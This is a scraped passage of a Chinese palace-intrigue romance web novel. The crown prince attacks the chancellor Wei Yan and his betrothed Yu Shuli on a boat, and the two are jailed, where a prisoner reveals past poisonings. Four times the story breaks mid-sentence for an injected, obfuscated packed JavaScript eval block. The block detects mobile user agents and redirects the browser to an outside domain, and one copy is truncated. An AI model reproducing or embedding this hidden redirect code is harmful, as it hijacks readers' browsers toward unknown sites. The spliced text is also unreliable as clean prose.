俞书礼抿了抿唇,刚要说话,被魏延安抚地看了一眼,他闭了嘴,干脆缩在魏延身后当起了鹌鹑。 “马上成婚了,我们又都是男子,没有那些忌讳,故而出来培养培养感情,也无可厚非。”魏延直言。 赵雍的脸上出现一瞬间的阴郁狠戾,转瞬间又恢复温雅亲近的样子:“早听父皇说要给你们赐婚,没成想竟然是认真的。”他叹了口气,一副很可惜的样子:“你们到底都是男人,到时候岂不是连子嗣都为难?” 魏延笑了笑:“陛下的决定,微臣哪里敢置喙?” 赵雍一滞,被他一句“陛下决定”气的不轻。 他变了声调,表情狰狞:“也是,不过之后你尚可以纳妾,可怜安王……到时候就要独守空房了……” “殿下……慎言。”魏延脸色变了些,声音也严肃了起来:“陛下赐婚,臣哪里敢纳妾?不仅让安王难堪,也是驳了陛下颜面。再说我们二人,也没有谁娶谁的分别。” 赵雍心知自己的话说的过了,但许是今日酒多了,也许是今日俞书礼好看的太惊人了,他有些语无伦次。 更枉论……俞书礼就这样乖巧地跟在魏延后面,更是让他心中烦躁的不行。 俞书礼那样跋扈的性子,什么时候听过谁的话?! 僚臣见赵雍有些口不择言,也连忙低语暗示,扯住他示意别再说了。 俞书礼也扯了扯魏延的衣袖:“魏延,我乏了,咱们去单舱吧?” 两边互相给了台阶下。 这船是彻夜游船,宾客累了,就可以去各自的单舱休息。 魏延率先点了点头,揽住俞书礼的腰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961468|161061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躬身向太子一行人请辞。 赵雍的视线落在俞书礼那柔若无骨的腰上,又看到了魏延那只揽在俞书礼腰上的手。 两人这么早回舱能有什么好事?! 赵雍心中过了一遍自己的猜想,顿时怒上心头。 本来熄灭下去的酒意再次直冲头顶。 “俞书礼!”他大叫了一声,“让堂堂安王嫁给个男人,你真的甘心吗?” 舱内剩余的宾客齐齐看了过来,好奇地打量着牵着手的两个男人——魏延和俞书礼。 俞书礼不习惯这样被人注视,下意识就想要甩开魏延的手,被魏延紧紧扣住,挣脱不开。 “安王,你别说,难不成还真的喜欢上我们魏丞相了?”赵雍脸上嫉妒的神色几乎掩藏不住了,“说起来……你们军营里,应该都是男人吧?那岂不是把你爽死了?”他似有似无地看向魏延的下摆:“说起来……魏丞相这副身子,能满足你吗?” 俞书礼没有回答。但他低垂着眼睛,单手握拳,羞耻感已经快要淹没,脖子上也冒出了青筋,终于忍不住想要揍人了。 他甚至想着,反正老爹那里还有块免死金牌。 揍出言不逊的太子一拳,应该也罪不至死…… 大家都喝了不少酒,酒里起的事,皇帝调查过后,想必也会睁一只眼闭一只眼。 俞书礼露出一个不太礼貌的笑容:“太子的思想,可真是龌龊至极。” 他松开魏延的手,伸了伸拳头,正要动手,却听“啪”的一声。 一个响亮沉重的巴掌打在了赵雍脸上。 赵雍脸上红彤彤。 俞书礼整个人僵住。他手指颤了颤,又被魏延抓回去紧紧握住。 俞书礼第一次知道,原来……魏延的手,也是可以这样温暖的。 “你好帅啊,魏延。”他弯了眼睛。 赵雍的表情几乎整个崩塌。 他傻乎乎看向对面那个意想不到的打了他一巴掌的男人,一时没有了反应。 隔了许久,才突然发出尖锐爆鸣:“魏延……你敢打我?” 魏延阴沉着脸,“是,臣斗胆。” 僚臣们的表情五彩斑斓,浑身上下透露着淡淡的死感。 今日这样一闹之后,他们还能妥善地活着吗? 一个是太子……一个是权臣,谁都惹不起,哪里敢劝? 赵雍推开身边的僚臣,冲了过来,下意识就要揍向魏延。 魏延也推开俞书礼,微微侧身躲过,掐住赵雍的脖子将他固定,然后瞬间又是“啪”的一巴掌,砸在了赵雍同一边的脸上。 “反了天了!”赵雍气急败坏:“来人!给我把魏延拿下!” 14. 杀无赦 船舫上瞬间冒出来不少乔装打扮的侍卫,一窝蜂朝着魏延和俞书礼攻过来。 船上的都是贵胄,见太子和丞相两边起了争执,虽然惊恐害怕,倒也不至于无助,毕竟天子脚下,再胡闹也闹不到哪里去。 有几个认识魏延和太子的甚至想要上前相劝。 魏延不动如山,反而笑了:“殿下,今日你对我动手,但凡我没死,明日朝堂之上,此次赈灾有功之人,就会是三皇子,而不是你。” 一个酒后行凶、私行有亏的太子,断然不可能被内阁认可。 毕竟内阁首座,就是他面前的魏延。 赵雍此时酒意上头,眼下别说权衡利弊,几乎是所有话都听不进去,只想着魏延竟然敢挑战皇权打了自己,便一定要杀了他。 “你区区丞相,也能威胁孤一个太子?!”赵雍着发怒,挣开拦着他的僚臣:“你以为,孤怕你?” 侍卫们将全场包围,内部只留下了魏延俞书礼和太子等人。 “如今你不过是瓮中之鳖,孤想要你何时死,你就要何时死!” 僚臣们脸色白的可怕,连忙叫了一声:“殿下!”拉住太子还想再劝。 从前太子哪里敢同魏延直接对上?连皇帝都要对魏延礼让三分,更遑论继位尚且不安稳的太子。 赵雍曾经也不停地巴结魏延,送礼、亲近不在话下,然而魏延一直淡淡的,不说加入他的党派,倒也没明确表示拒绝。 这曾经一度给过赵雍希望,加上几年之前的事情,他又有把柄在魏延手上,所以对于魏延,他一向是比对他的亲爹——也就是赵武帝都还要尊重的。 可今日饮了酒又受了魏延这个病秧子两巴掌,赵雍心中又是羞耻又是愤怒,他不想再忍了。 几个僚臣缩在角落抱着脑袋,心想今日是真的完了。 不管哪边赢了,都是完了。 若是魏延死了,那皇帝失了左膀右臂,查出今日之事,对于太子只会生出无限忌惮。 皇家之人,哪有什么儿女亲情?只有权威被冒犯的气怒,毕竟魏延可是皇帝的人。一个太子,连皇帝的心腹都敢杀,未来谁能担保他不会弑君? 再详细查清两人矛盾的起源之后,更会对太子嗤之以鼻。 而一个为了一个男人争风吃醋的太子,也不可能再有机会继承大统。 到时候,太子被废不说,还会让混子三皇子和远在南疆的二皇子渔翁得利。 而若是魏延在上船之时早有准备,侥幸没死,那太子的处境将会更为艰难,得罪了魏延,从此之后,凭借魏延的性子和手段,太子党也从此再也抬不起头了。 太子一倒台,现场这些僚臣,一个都不会有好结果。 其中一个僚臣想明白了因果,几乎是硬着头皮上前拉住太子。 “给孤滚开!” 赵雍露出一个狠厉的表情,拔过侍卫的剑,侧头一剑下去,将那僚臣的手腕整个斩了下来。 那僚臣一声惨叫。鲜血淋漓的手掌掉落在赵雍脚边,被他一脚踢飞。 本该清雅悠然的地方骤然见了血,整个船舱陷入了一片混乱,尖叫声不绝于耳。 本来也想过来相劝的贵族们被这一幕吓的叫喊了几声,女眷们捂着孩子的脸,连忙往各自的单舱逃窜而去,只留下了几个胆子大的、不怕死还在看热闹。 本来以为的酒后小打小闹,终于在这一刻,上升到了见血的程度。 “如何?谁还敢拦孤?” 赵雍眯着眼睛看向俞书礼,却见他的视线只落在了魏延身上,视线一丝也没有分过来,本来因为见了血而冷静下去些的头脑霎时间又被怒火覆盖。 “给我动手!今日,魏延,杀无赦。” 此言一出,那些对俞书礼和魏延虎视眈眈许久的侍卫也终于拔剑。 几个僚臣不敢再劝,甚至看到赵雍被酒意晕染的猩红的眼尾和古怪的笑容,只觉得害怕。 但是谁又敢招惹魏延这个人呢?到时候怕是怎么死的都不知道。 太子此举无疑是虎头拔须。 夜风凉的可怕,所有人却仿佛未觉。乌云笼罩着天际,高挂的弯月被层层掩埋住,一丝光亮都露不出来。 要翻天了…… 侍卫们低喝一声,大举提刀进攻魏延,俞书礼劈手夺过一刀,用刀背狠狠敲在面前人的身上,轻松击溃了眼前人,并挡在了魏延前面。 “殿下,今日是您不分青红皂白先动手,那就别怪臣也不客气。” 太子提着渗血的刀缓缓逼近,残忍的恶意如潮水般涌来。 突然,他猛地一扑,双手如鹰爪般伸出,朝俞书礼甩出一包粉末。 俞书礼反应够快,火速闭紧呼吸撤离,抬手一股罡风过去,把粉末吹散。 太子瞳孔一动。 早知俞书礼武艺非凡,却没想到强到这般程度。 不过无妨,如今俞书礼被他逼离了魏延身边,被侍卫们架住,这就是他杀魏延的好时机。 太子沉了眸子,上前两步朝落单的魏延砍了过来:“魏延,你不要以为父皇宠着你,孤就怕你。今日你死在千泷河中,明日也不过就是多一具意外溺水的尸体罢了。” “至于安王……”赵雍的视线扫了一眼俞书礼:“魏延,你以为,你能护住他一时,还能护他一世?等你一死,我要对他如何便对他如何!也省的你总坏我好事!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961469|161061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俞书礼脸色彻底沉了下来,他猛地击退身前十来个侍卫,倾身挡在了魏延身前,终于拔剑出鞘:“太子殿下,你现在清楚自己在做什么吗?” “不用你提醒,孤清楚的很!等会儿在床上,就让你瞧瞧孤的厉害!”赵雍喊道。 一边看戏的众人仿佛听到了什么了不得的东西,连忙捂住耳朵。 听到这种秘辛,实在不是他们本意。 俞书礼心道:原来如此。 太子私下,竟然对他动了这样的心思。 俞书礼睁大了眼睛,心中震颤,只觉得一股恶心和恶寒。 魏延的脸色彻底沉了下来,他看向赵雍却仿佛在看一个死人。 “殿下慎言,是巴掌还没吃够吗?” 赵雍当然还记得巴掌之仇。 就连皇帝,都没甩过他的脸。 魏延凭什么?一条走狗。 赵雍更气了。“你不怕死,就试试!” 俞书礼生怕魏延要和赵雍单挑,到时候被赵雍给欺负。 “他就是故意激我们先动手呢,别上了他得当。”他一把拉住魏延,护他在身后。 自从知道了太子的心思,再看向太子的时候,俞书礼就难以维持表面的体面了,他露出一言难尽的表情:“你可真是自作多情,孔雀开屏……” 先不提两人早些年结下的梁子,就是这些年的互相使绊子的事迹,都能互相摆出一箩筐来。 说太子喜欢他?俞书礼没这般自恋。 他在太子的眼中只看到了赤裸裸的欲望。 无关情爱,只是对猎物的掌控欲。 但俞书礼不会是那个猎物。 他正想着骂几句难听的,却见几个侍卫又冲了过来。 俞书礼不得不先对付这些人,没时间再骂太子。 赵雍趁着这个时候又想要从侧面偷袭魏延,本以为能一刀把这个病秧子斩死,谁知道一刀劈过去的时候魏延却突然跌倒,弯了腰身躲了过去。 魏延摔下去的模样实在狼狈,脚还不经意还踢到了太子的小腿,让他皱了眉闷哼了一声。 桌椅砸了满地,琼脂玉露在烛光下照射出奢靡的痕迹。 魏延在一片狼藉中勉强撑了起来,表情还是淡淡的:“殿下,你以为,杀了我,在场那么多人……你挡得住悠悠众口?” 只是在赵雍眼里,他这幅平静的样子就像是在努力假装镇定。 赵雍才不管魏延那无伤大雅的一脚,和挠痒痒似的。他勾起唇角,再次倾身上前,这次没有了阻拦,他抬剑直接抵在了魏延的脖子上,划下一道鲜红的血丝。 他以一种胜利者的姿态看向魏延:“魏延,你已经输了。” 15. 臭傻逼 魏延那双锐利的眸子瞧过来,本来演的几分醉意不知道什么时候已经消失无踪。他笑着道:“你杀我一个便罢,在场这么多高门贵族,你……杀的干净吗?” “还是……你今日打算灭口?” 赵雍突然心中一凉,这股凉意将他从头到脚浇了个遍,但醉酒的脑子让他思考不了那么多。 下意识萌生的杀意还是燃起了热火,催动鼓舞着他想要杀掉魏延的心。 横亘在脖子上的血痕更深了。 魏延手指微微动了动,手指敲在地面,发出有节奏的声响。 过了一会儿,手指又不动声色地按在了腰上。 夜灯下,银色的丝线缠绕在他的腰间,发出微微的光芒。 赵雍不作他想,只当魏延手指按在腰上是因为刚刚摔伤了腰。 心道:果然是个病秧子窝囊废,这下他魏延还不死?! 赵雍难掩心中喜悦,银剑就这样朝着魏延的脖子劈砍了下去。 魏延却突然直起了身子,往后一弯腰,再次斜着躲开了一剑。 魏延又不会武功,一次是巧合,两次就有些古怪了。 赵雍动作一顿,想不通魏延怎么会有这样的身手,却反而因为这一瞬间的发愣,给了魏延起身的机会。 赵雍还待追上去,就在这时,被赶过来保护魏延的俞书礼一脚踢飞了出去。 为了防止太子站起来太快,俞书礼在他的腰窝还补了两脚。 太子闷哼了几声,一张脸疼成了猪肝色。 许是肾被踢坏了,一时间都站不起来了。 俞书礼心中长舒一口气,只觉得浑身的毛孔都在散发快意。 好爽,终于揍到了这个臭傻逼。 他在心里默哀:亲爱的免死金牌,我老爹虽然爱惜你,疼爱你,而我整天想着用掉你,但今天,你这一命换一命真的不冤,简直物超所值! 旁观的贵族们眼睁睁看着眼前瞬息万变的现场战况。 本来太子手下数十个侍卫,胜券在握。 结果俞书礼却能以一人挡之,情势反转。 但魏延不会武功,又被太子直接偷袭刎颈。 结果一回头,魏延躲了过去,而俞书礼又赶了来,将太子都踹飞了出去。 太子倒后,局势才完全陷入了一边倒。 俞书礼一人单挑众人,不过几息就把那些侍卫一个个都打的鼻青脸肿、抬不起头。 众人心下不由得从心头感叹,俞小将军这武艺,真不是盖的。 战局终了。 魏延脸色有些发白,半撑在地上站了起来,他脸色阴沉地往太子的方向走去,脖子上的血痕滴滴答答往下流着血。 俞书礼看到他眸中一片暗红,凶狠的样子不似常态,眉眼间却反而有一种凄惨狠毒的美。 他勾起的唇角邪狞张扬,和从前那个温文尔雅、弱不禁风的魏延也完全不同。 俞书礼皱了皱眉,唤他名字:“魏延。” 他想杀太子,俞书礼看出来了。 魏延的睫毛颤了颤。 回头,他见到一只有着薄薄的茧子的手伸了过来,微微一愣。 “没事吧?”他看到的是俞书礼关怀的表情,那双明亮的眼睛里盛满了对他的担心。 魏延突然突兀地一笑。 空气里是无人敢动的死寂,仿佛连一根针掉落的声音都能清晰可闻。 谁都看到了魏延眼中恐怖的阴翳,外围的人默不作声地后退。 俞书礼没有后退,他微微喘着气,手掌一直朝向魏延,没有收回。 火光下,魏延仿佛又见到了那个街道上朝他递过油饼的少年。 片刻之后,魏延动了。 本来按在腰上某一处的手瞬间收了回来,一道银光没入腰带中。 他转过身,手掌缓缓搭在了俞书礼的手上。 俞书礼没有迟疑,立马握住了他。 周围的呼吸声终于平缓了下去。 魏延任由俞书礼牵着自己往前走,然后不顾还在流血的脖子,慢条斯理地拍了拍自己身上衣服的皱褶,又整了整衣冠。 他周身的气质一变,又恢复了往日温雅的模样,仿佛那个差点沦落的地狱人不存在一样。 但众人知道他存在。是俞书礼把他拉了回来。 窸窣一声,船外小小的动静消散无形。 赵雍被俞书礼一脚踹飞,回头正要让下属上,却发现他这些下属早就被俞书礼都解决了。 他瘫倒在地上,知道大势已去,便咬着牙后悔不已。 早知道俞书礼在,他肯定多安排些高手随侍,哪里会叫这几个饭桶? 如今看着那些没用的东西躺在地上“诶呦诶呦”地叫唤,自己又被踹地站不起来,太子梗着脖子,看向俞书礼:“有本事你杀了我!” 俞书礼扶着魏延,仔细地检查了一番,确定他刚刚那一下没有摔坏,这才莫名其妙看向太子:“我杀你干嘛?” 太子噎了一下。 “从头到尾,都是太子你莫名其妙对我们动手,想要杀我们。”俞书礼道:“我们可从没有想要伤害太子殿下的意思。” 他口中一句一个太子殿下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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俞书礼的表情莫名其妙:“我干嘛要嫌你恶心?” 魏延的声音有些沉,头也压的低低的:“你刚刚说,太子喜欢你,很恶心。” “嗨,那不是骂太子来着嘛。”俞书礼宽慰他:“你和他又不一样。” “有什么不一样?”魏延猛然抬,又重复了一遍:“有什么不一样。” “额。”俞书礼摸了摸头,脸上浮现一点点红晕:“大概是,你很快就会有名分,他没有?” 16. 入刑狱 那日第二日下船之后,果不其然,皇帝知道了双方争执大闹的事情。 宫中禁卫到场,不由分说将俞书礼和魏延一起带回了刑狱,而太子也直接被禁了足。 俞书礼本来是要辩驳的,魏延给他使了个眼色,他就乖巧地跟着魏延一起驾轻就熟地来到了狱中。 刚来到狱中,这才发现稽刑司又添了许多新的“人才”。 俞书礼对着魏延感叹:“你家牢狱生意真不赖。” 魏延幽幽看了他一眼:“还好吧,反正和你我一样,都是死刑犯。” 俞书礼:…… 他一一和各位狱友打招呼。 其他人不仅不搭理俞书礼,还似乎因为精神失常,冲他做出了一些攻击性行为,浑身上下透露着淡淡的死相。 唯有在俞书礼隔壁的一位,不仅活蹦乱跳,神情正常,还十分自来熟。 魏延自己的地盘,自然不会让他和俞书礼受委屈。不等魏延安排,狱卒就进来整顿刑狱间。 等到其余刑犯被进来的狱卒带走,整个牢狱又只剩下了俞书礼、魏延以及俞书礼隔壁那个刑犯。 此人十分厚脸皮,不仅不肯走,还扒着栏杆同俞书礼说话。 “呦,不是得意洋洋出去了么?还信誓旦旦说要捞我呢,怎么自己又回来了?” 俞书礼一愣,看到他有一丝亲切,可是却想不起来是谁。“你认识我?我们很熟?” 那少年喉中一哽,咬牙切齿:“嘿,你这人……当时牢狱里就你我两个人,你装什么蒜呢?不是某人自己说要捞我么?!几个月过去了,也不见你捞啊。” 俞书礼有些不好意思和尴尬。他压根不记得这位是谁了。 不过看对方熟稔的样子,应该好歹是认识自己的。 至少自己也应该确实承诺过捞他出去。 其实如果俞书礼诚心要捞人,当然是能捞的,但是他忘了呀。人都失忆了,哪里还想得起来捞不捞人的事情? 现在情况大不相同,俞书礼不记得对方了,不清楚对方的底牌,当然也就不准备履行失忆前的诺言,纵使许诺的那个人就是他自己。 “哈哈,你看我又再进来了就知道了,我的手段都是吹吹牛的。”面对可疑的少年,俞书礼含含糊糊,不愿意说起自己失忆的事实。 魏延不动神色站在俞书礼身边,沉默地打量着对面这个少年。 “魏延,你冷吗?”俞书礼对于牢狱这种地方倒是没有不适应,只是他担心魏延的身体扛不住。 魏延摇了摇头,替俞书礼把外袍理好:“我还好,你穿的少,仔细着凉。” 少年看着两人这样互动,能和俞书礼这般亲昵的,眼下也就只有一个人,答案呼之欲出。 他抬头看过来:“你……就是魏丞相?”他的语气可算不上好。 魏延垂了垂眸,有些低气压地看向少年:“你谁?”语气更算不上好。 俞书礼夹在中间左右为难。 他本来应该互相介绍一下的,可是谁让他失忆了呢,于是只好装哑巴,不说话。 “喂,你背叛了我?”那少年却突然转变矛头,看向了俞书礼,目光犹如尖刺,仿佛在看一个渣男。 “啊?”俞书礼还在状况外,闻言一愣。 这少年的一副看负心汉的表情,不会先前同他自己是一对吧? 这……也太乌龙了…… 俞书礼什么情况都不知道,只能心虚地看了眼魏延:“那个……” “不解释吗?”魏延也瞥向俞书礼,声音听起来冷冰冰。似乎是站累了,他一只手撑在俞书礼身边,半靠在墙上,却给了被他堵在角落的俞书礼极大的压迫力。 “你会不会有什么误会?”俞书礼躲过魏延的手臂,侧头好心看向对面的少年,“背叛这个词,说的太重了吧?” “对你这种行为,我骂你背叛算轻的了,简直应该是嗤之以鼻!”少年哼了一声,侧头去了另一边角落里:“亏我还当真天真地相信过你。” 俞书礼听他越说越严重,魏延的表情越来越糟心,不由得眼皮猛跳。 “他和你有什么关系?”魏延冷笑了一声,问少年。 “我不同你这太子的走狗聊天。”少年也十分有心气,明知道面前的人就是当今内阁首座、稽刑司大理,一人之上万人之下的魏丞相,还能如此不惧权威地骂一句“走狗”。 俞书礼倒是有些敬佩和欣赏他的胆量了。 魏延的脸更黑了。 “你不说,我有的是办法让你说,不过是让你多吃点苦头罢了。” “你威胁我?可我早就一无所有了,你威胁我又有什么用呢?”少年咬了咬牙,伸着脖子凑过来:“我连死都不怕,还怕你威胁?” 他这幅神态和语气,和当日来找他对峙的俞书礼太过相像。 魏延双睫动了动,沉默了。 之前俞书礼口口声声说要退婚,是不是因为……眼前这个人? 俞书礼见魏延吵架输了,怕他下不来面子,连忙扯了扯他的衣袖:“算了,咱们不和疯子一般见识。说不定他是在外面和人发疯被人抓进来的呢!” “俞书礼,你才疯子!”少年闻言,双手敲在栏杆上:“你无情,休怪我无义!”他转头看向魏延:“喂!你知不知道,当时给你下毒的就是俞书礼!” 俞书礼懵懵地看向魏延:“他……在说什么?什么下毒?” 魏延看向他,怔了一瞬,似乎是怕吓到他,眼神柔和了些:“你和我闹着玩的。” 那少年嗤笑了一声,见魏延竟然知道实情,而且还维护俞书礼,立马觉得这俩人果然就是蛇鼠一窝的。 当时俞书礼就是太子那边塞进来打探他的消息的,还好他谨慎,什么都没有说。 虽然这样想着,但少年还是想挑拨离间一下:“闹着玩?我听说俞小将军下的可是致死量的毒药,拿人命闹着玩?你们倒是好大的情趣。” 俞书礼的瞳孔一震:“你……说什么?” 少年说着:“要不然你当我怎么认识你的?还不就是你毒害了魏延,我刺杀了太子,你我做了生死之交吗?你还许诺带我出去,如今竟然装作一概不知?你演什么演呢!” 俞书礼心头猛跳,他手抖了抖,拉住魏延,问:“他说的,是真的吗?” 魏延沉默。 “我问你呢,魏延,他说的真的?” 魏延见他心急,叹了口气,阖上眼,带着一股狼狈的自嘲,终于憋出了一个“嗯”字。 俞书礼干脆甩开他,转头看向少年,声音都在发抖:“你说,我毒害了魏延?我为什么要毒害他?我和魏延……是什么关系?死敌吗?” “你们是什么关系,来问我做什么?你自己不知道?”少年别了个白眼,不想搭理他。 “我……我失忆了……”俞书礼的声音已经乱的不像话:“我以为,我同他是……”俞书礼的头突然感到一阵尖锐的疼痛,他蹲下身,抱住头,低低喘息了几句。 魏延指节发白,安静地站在一边,心中却是无限的恐慌。 偷来的幸福,竟然如此短暂吗? “你想知道什么,我可以解释……”魏延想要伸手揽住他,却被俞书礼猛地推开。 俞书礼的语气实在算不上好:“你先别碰我,让我仔细想想。” 外头流言肆意,关于太子、他以及魏延的关系已经掀翻了天。闷沉的地牢里,一丝新鲜的空气也无。 他抱着头,额角青筋猛跳,眉头紧紧皱着,努力去寻找那些他丧失的记忆,以及回想那些他和魏延相处的点点滴滴。 这倒是把陈黎吓到了。 “喂,你没事吧?”他嘟囔道:“真的假的,失忆了?……” 见俞书礼疼的直不起身,陈黎也有些慌乱:“喂,你别想了,你想要知道什么我告诉你就是。” 陈黎走过来,拍了拍栏杆,恰好对上魏延阴翳的表情。 他吞了吞口水,不看直视魏延的眼睛,伸手扯了扯俞书礼的衣衫:“我记得你当时说的所有话,你想知道什么?” 俞书礼终于从痛苦中抬眸,他的眼睫湿了些,表情却十分固执,不去看魏延,而是看向陈黎:“我和魏延,究竟是什么关系?” 陈黎“唔”了一声,在魏延的死亡视线下道:“你当时说的,其实我也不知道是真话还是假话,我就原封不动还给你,你自己分辨?” “嗯。” 俞书礼站起身,离魏延远了些,“你说吧。” 魏延心中最后的弦摇摇欲坠,即将崩断。 陈黎开了口:“你刚进来,你我交心的时候,对我说过‘我绝对不是太子的人!’。” 魏延吊着的心缓了些,轻轻松了口气。 “就这?”俞书礼皱了皱眉,“这能分辨什么?我本来就不是太子的人。” “诶呀,还有别的呀,你别急。” 魏延紧抿着嘴唇,片刻后露出一个苦涩的笑容。坐等真相犹如在坐等死刑一般煎熬。 陈黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961471|161061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉吟了一会儿,卖了个关子,见魏延紧张的神态,不由得心中暗道:莫非俞书礼说的都是实话? “你还说‘你不知道吗?魏延暗恋我,所以才处处针对我来着。’” 这话一出,不仅是魏延的表情凝固住了,俞书礼也彻底僵在了原地。 “还有我问你,为什么魏丞相暗恋你却还要把你抓进狱中的时候,你回答说:‘你懂什么!这是他的情趣!欲擒故纵的把戏。’” 俞书礼被尴尬得脚趾扣地。他扯了扯陈黎的衣袖,低声道:“我怎么会这么说?” “那谁知道?”陈黎道:“我只是把你的原话如实汇报而已。”他还强调了“原话”两个字。 “我不信,你肯定添油加醋了!”俞书礼跳脚道:“我看起来是这么自恋的人吗?” 魏延终于低笑一声,危机消除,心中所有的不安在这瞬间烟消云散。 有时候,他也不知道俞书礼这种喜欢瞎侃吹逼的性格是好事还是坏事。 不过现在来看,姑且算的上是好事。 他看向俞书礼的目光轻缓,有些揶揄道:“原来……你早就知道。那还总吊着我作甚?” 俞书礼可承受不来他这些话,耳根子红了一片。 他羞耻地捂住脸:“我怎么会说出这么不要脸的话……” 魏延垂眸看他,无奈地笑了笑:“这下,不用躲我了吧?我可以无罪释放了吗?” 俞书礼有些不好意思地点了点头,又侧头看向魏延:“你……所以不是你我私定终身,而是你一直在追求我?” 魏延顺势承认了。 “那你还是骗我了!”俞书礼梗着脖子道:“你心里一定很得意吧?本来追的辛辛苦苦,突然我就自投罗网了。” 魏延失笑:“哪有这样说自己的?” 陈黎“嘶”了一声,不想再听:“你们腻歪你们的就算了,这种事情你们回去自己商量吧?” 魏延低着头不知道在想些什么,片刻之后,伸手去拉俞书礼的手,眼尾都是温柔的笑意。 他看向陈黎的视线也友好了不少:“你是犯了什么事才进来的?” 陈黎手指戳了戳俞书礼:“问你家这位。” 魏延薄唇勾了勾:“他失忆了。” “哦,对。”陈黎长叹一口气,小心翼翼看向魏延:“所以,你真的不是太子党?” 魏延不知道哪里来的好兴致,本来冷冰冰的脸,也学着他那副煞有其事的样子,低声回答:“不是。” 这个答案让俞书礼也一愣:“你……”俞书礼总觉得魏延不像是会这样轻易交底的人。 一个权臣,公开表明自己不站边太子,风险实在太大了。 更何况,眼前这个少年他们根本不认识,魏延根本不应该这样托大。 “你什么你?”魏延刮了刮他的鼻子:“是什么时候给你产生的误会,认为我是太子的人?” 骤然得知这个消息,俞书礼其实心中也是一阵窃喜的,这意味着他可以试图说服魏延加入二皇子党……这样就算他们将来成亲…… 想到这里,俞书礼脸一红,连忙止住自己发散的思维。 他低声呢喃:“怪不得你敢揍太子呢……” “什么?!你揍了太子!”陈黎整个人几乎跳起来,他本来有些敷衍颓靡的脸上瞬间精神奕奕:“好兄弟!你可真了不得!是我陈黎之前错看你了!我在这里向你道歉。”他还有模有样作了个揖。 俞书礼笑骂着,隔着栏杆去扯他:“和谁称兄道弟呢?!” 魏延笑:“无妨。” 俞书礼嘟囔:“他占你便宜呢。” 魏延安抚地捏了捏俞书礼的手,然后看向陈黎:“你……也是得罪了太子?” “嗯。”陈黎挺了挺胸:“我刺杀他来着,没成功,被逮进来了,说择日问斩。”他说的风轻云淡,好像在说今日吃了两碗饭一样。 俞书礼的表情一言难尽:“刺杀也要留条后路啊,你什么后路都没有,就这样傻乎乎被抓了进来。像你这种没脑子的刺杀方式,死一万次都不够。” 魏延点头附和:“治好了也流口水。” 俞书礼闻言笑的见牙不见眼,推了推魏延:“你什么时候也会开这种玩笑了。” 几人叽叽喳喳好不热闹,外头突然想起来一个女子尖利的叫嚣声。 侍卫和牢头的劝阻声由远及近。“江宁郡主……这里是刑狱重地,您不能进去……” “滚开!本宫要见魏延!” 17. 初相识 提到江宁郡主,俞书礼想起多年前的一桩事情。 那个时候魏延刚刚分家出来,几个叔伯连着欺负他,在分家产的时候没少做文章,魏延为了尽快脱离,全部都忍了下来。 本以为接下来就是好日子了,吴夫人却生了重病。 老夫人垫掉了自己所有的嫁妆,还是不够。 魏延没有请大夫和买药的钱,只能放下所有脸面,去求曾经的那些同窗,问他们借。 他曾经也是贵公子出身,有幸在老丞相在世的时候,在皇家的私人学塾求学,也受过太傅指导。 不过是失去了父亲这座靠山,又被族中排挤,才家道中落了下去。 一朝再见那些同窗,魏延还未开口,却只看到他们眼中鄙夷不屑的目光以及含糊不清的推脱。 夕阳西下,他踏遍了京城所有同窗门槛,不是被闭门在外,就是被委婉拒绝。 最后的晚霞烧的街道火红,他漫无目的走着,只觉得仓皇无助,连回家的力气都没有了。 他害怕看见母亲和祖母期盼的目光。 他沿着街道就这样浑浑噩噩地走着,突然撞到了什么人。 魏延抬眼,映入眼帘的就是一个眉清目秀的小少年。 他双眼通红,眼睫都是湿漉漉的泪水,一边的脸上是一个硕大的巴掌印,手里却还拿着一个油饼啃着。 “抱歉,不小心撞到你了。”魏延开口。 少年抬头看过来一眼,就立马侧过脸,把受伤的脸挡住,欲盖弥彰:“哦,不怪你,是我没看路。”然后就像什么都没发生一样,继续边走边大口啃那个油饼。 如此普通的油饼,在他的口中仿佛是绝世美食一般。 魏延见他吃的实在香,这才想起来自己也已经一日没有吃饭了。 